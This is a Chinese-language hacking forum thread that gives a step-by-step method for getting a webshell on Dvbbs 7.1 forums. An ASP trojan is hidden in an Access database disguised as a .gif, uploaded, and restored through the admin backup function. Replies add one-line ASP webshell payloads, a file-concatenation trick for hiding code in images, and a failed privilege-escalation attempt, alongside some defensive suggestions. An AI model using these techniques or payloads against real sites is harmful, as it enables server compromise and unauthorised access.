文章作者：喜欢忧伤
信息来源：邪恶八进制安全小组

背景：
dvbbs7.1在后台备份里面加了access数据库检查了.所以原来的gif图片恢复成后门已经不行了

解决办法：
我把asp木马插入到数据库里，然后恢复。这样肯定检查肯定可以通过的。

具体过程：
前提：
(偶以默认的安装情况为准，具体情况的把握靠自己了.)
你得到论坛dvbbs7.1后台。

1.偶已经作好一个数据库了：里面插入了加密的asp后门[就是那个写马的后门]
同时已经修改名字成dvbbsToshell.gif(文章最后有下载)了
＝＝＝补充下：关键是因为这个图片是access数据库才有用［详细解释见最后］===

2.上传这个dvbbsToshell.gif，选择在发表帖子的那个地方上传。因为这个地方不会检查文gif的特征码。
(不要选择在头像上传的地方上传啊。)

3.记录下上传后的地址，到后台恢复成后门。

4.执行后门，写新的后门。测试下功能，完成。

注意点：如果论坛没有开始文件上传的到后台开始上传选项啊。
      上传文件的记录才擦除偶也不说了。

解决办法：偶还是跟以前一样，把备份和恢复的功能删除了。

上面的数据库dvbbsToshell.gif在压缩包里。

下载含后门的数据库图片

＝＝＝＝＝＝＝＝＝＝＝＝＝补充下＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
居然有人看不懂偶的文章,看来是偶的文章没有写清楚了:
既然如此:我就详细的的补充下:
［背景：dvbbs7.1在后台备份里面加了access数据库检查了.所以原来的gif图片恢复成后门已经不行了］完整的解释是:
因为在dvbbs7.1加入了以下的代码来做检查，文件的类型，以确保文件确实是access数据库．
直接由asp木马修改扩展名来的gif图片(即使加上GIF89a)是通不过下面代码的验证．
从下面代码来看，只能是真正的access文件，所有偶使用access数据库,这样就可以通过检查的了．只是在access里面加入了后门．
可能是我还是使用了gif文件的原因（其实用dvbbsToshell.jpg也一样，只要是插入了后门的ccess数据库),以致造成了有些人的理解错误了．
－－－－下面代码来自dvbbs7.1中的data.asp文件---－－－－－－－－－
FileConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Dbpath
          Set Fileconn = Server.CreateObject("ADODB.Connection")
          Fileconn.open FileConnStr
          If Err Then
              Response.Write Err.Description
              Err.Clear
              Set Fileconn = Nothing
              Response.Write "备份的文件并非合法的数据库。"
              Exit Sub
          Else
              Set Fileconn = Nothing
          End If

很不错的方法。可以有效地绕过备份文件的检查。

:)
不错...........
VDVBBS没有从根本上解决这个问题.

copy /b 1.gif+2.asp 3.gif
如果单纯靠检验头部解决其实很麻烦....还不如限制后缀列..

  很好，动网应该考虑备份的时候检查备份的后缀名称（上几个版本就应该想到）

听说这版是检查后缀了，可是有办法绕过，但看楼主的文章似乎没有提到这一点。

检查了？没检查否？

刚才看了一下动画是没检查。。

现在7。1出来了 对照上一个版本。。嘿嘿不知道传闻中的漏洞会不会很快公布了

  回楼上,
动网7.1没有检查扩展名,是检查了文件内容的类型是不是可以作为access数据库连接.具体你看下文章最后的补充就知道了.

同时偶也想知道下传说中的漏洞是什么．
你也可以看录象,因为录象里面有一个地方用了偶自己的小站的名字,所以本来没有放上来:[如斑竹介意,请编辑一下,或者那位有空再制作一个．谢谢]
录象你也可以看看
下载录象

动画看了，我现在在想一个问题，假如既检查了是否是gif又检查是否是mdb文件呢

  传说是可以通过ip封包欺骗服务端的程序以为上传的asp是gif文件(是对应sp2的版本的)
最早提出webshell插入数据库作为后门的是bugkidz的那些人么？还是火狐。好像以前在哪里看到过：（
(刚刚想起来了好像是superhei的文章提到了，那应该是bugkidz了，熬夜太多，记忆失常)
ps：说说这个后门的检测。。只要在包对象直接编辑包，然后保存查看，即可得知是否是
有害代码，好像在网上没有提到对这个后门检测的方法，就顺便说说了

另外只要设定了只允许把asp备份为asp。。这倒是非常狠的做法

即使上传了gif为后缀的镶嵌了asp的数据库文件，也无法绕过这个限制，另外也不可能可以上传asp为后缀的文件备份，当然，如果可以直接上传asp文件又何须备份呢（绕口令？？）
这样在写过滤代码的时候不用考虑排除 txt bmp gif jpg rar zip 而只要不是asp的就不可以进行备份就是了

一切通过ftp进行操作比较安全

另外除了备份时指定只可以把asp为后缀的文件进行备份以外，备份出的数据也应该
只可以备份为asp为后缀的文件，why？如果可以备份为其他格式的文件如rar txt
即使别人不可以得到一个shell，也能利用备份的功能，把原本为asp后缀的文件备份为
一个可以下载的文件格式了（说的好啰说，将就看看吧 [s:51]）

当然喜欢忧伤的办法是最彻底的 ：解决办法：偶还是跟以前一样，把备份和恢复的功能删除了。
如果是不修补代码的情况下，最有效的补丁就是删除有漏洞的文件

其实个人觉的,限制能备份的目录也不失为一种方法!即,只允许备份data目录中的文件,
备份的时候路径不能选,只能是程序检测到的数据库位置,恢复也只能恢复备份的文件!
如图:

动网其实解决办法很简单的啦：都不知道动网的那些工程师是怎么想的。
(1)文件类型过滤下：前台能上传跟后台能恢复/备份的文件类型没有交集的话也就解决了。
(2)目录过滤下：前台可以上传的目录跟后台可以恢复/备份的的目录没有交集的话也就解决了。
(3)其他方法也多多。
搞什么只是在后台加了个检查文件内容的类型,就是不彻底解决问题。解决问题也不从根本上解决。会不会是故意留给我们的“彩球"?哈哈
================
同时顺便说下：“传说是可以通过ip封包欺骗服务端的程序以为上传的asp是gif文件(是对应sp2的版本的)”
如果真能成功的话，偶倒要好好学习下了

检查后缀就安全了？
如果asp加上mdb的文件头的话，然后在改为mdb文件么？

我懂一点ASP。你的方法我的明白了。可就是在操作时有问题。

但是我通过洞网后台还是可以象原来那样把gif转成asp木马啊！

嘿嘿，我也试过了，可以，只是不能用备份的方法获得，只能用恢复数据库的方法

嗯，很多好办法帮动网哈哈，可是有些人不喜欢用data的默认数据库路径也就不太好说了~~

其实要想备份shell，最简单的方法就是把随便一个图片用winhex反正就是用可以编辑16进制的任何软件打开，最后面粘贴一句话小马，再备份asp的shell，来做为服务端就行了。

现在新出来的BBSXP5.16就是做了限制！
只要你代码中的数据库文件定下来以后！
在备份页面里面就不允许你修改路径了！
5555！

原来在一个网站的上传中见过.Net的检测上传类型的东西，就不知道怎么饶过，这个涉及到检测些什么呢?

另外,
********************转载通告********************
此文章已经被黑色森林脚本漏洞研究转载，特此对作者和论坛表示感谢
转载地址:http://www.blackwoods.cn/article.php/16

在后台直接用恢复数据库的方法就可以，不需要备分数据库的

GIF89a <%execute request("r")%>;

这样存为gif就行了

还有就是楼主,麻烦你介绍一下你的那个用MDB制作的后门是怎么制作的好吗

楼主,我用一个空数据库,扩展名改为.ASP,将一句话木马插入进去.然后再改为GIF扩展名.可是根本就上传不上去.楼主,请你介绍下你的那个图片数据库是怎么制作的好吗?而且我用你的那个数据库图片也试了,也传不上去.我测试的是ACCESS 7.1的

我用的是access2000，我先建立一个空数据库，然后把我的asp木马插入数据库，改名为.gif格式的，上传成功，在备份也成功。据说动网7.1.0在注册的时候没有过滤"|"，可我找到代码看的时候最后有个 face=replace(face,"|",""),说明过滤了并且我按找作者说的方法去用nc提交，虽然注册成功，但是权限去没有得到提升，我通过，对比7.0.0和7.1.0的数据库
发现有点区别，7.0.0的只用修改其中的vuserclass为“管理员”就可以提升权限，而在7.1.0中去要修改usergroupid为“1”才行，但我尝试提交了好多次，还是提升不了，希望高手门指点.我的qq：4595464

GIF89a <%execute request("r")%>有时候会不成功的,因为太小,上传头像哪有限制,嘿嘿告诉你们一个基本上通杀的办法就是用记事本把jpg或gif打开随便粘贴过来一段在加上<%execute request("9xiao")%>,不过遇到代码检查就不中了,(文件代码非法,文件已删除)偶遇到过一个现在还没有想出办法,试着用动网默认的哪个ip数据库插马在备份,执行不了纳闷的很!嘿嘿gif89a最初的应用是遇到上传的文件在文件头加上gif89a来欺骗的,利用哪个经典的newmm.asp本地提交就可以解决,有次偶发现foxfire的blog上面发现了动网7.1,把这个方法利用上了嘿嘿,最简单的还是lcx的恢复数据库,来获得shell;没有任何检测.后台备份还有很多利用的地方,例如备份敏感的asp文件,获得原代码等等.可以找找后台备份可以这样玩;后台备份还可以这样玩两个动画.

按照楼主的思路测试了好久，出现了一些情况，最后我用了两个办法成功了，晕死！
一就是直接用楼主提供的GIF文件备份的，不知道为什么前几次一直不成功，难道文件损坏。。。
另外就是不用备份，直接恢复数据库，好像没做过检测，与7。0的备份数据库一样爽呀！

刚才遇到一个DVBBS7.1的。直接恢复已经不行。
提示文件非法。
---------------------------------------------------

PS：不过新建了个数据库文件。把一句话写进去。
备份成功。顺利拿到WEBSHELL。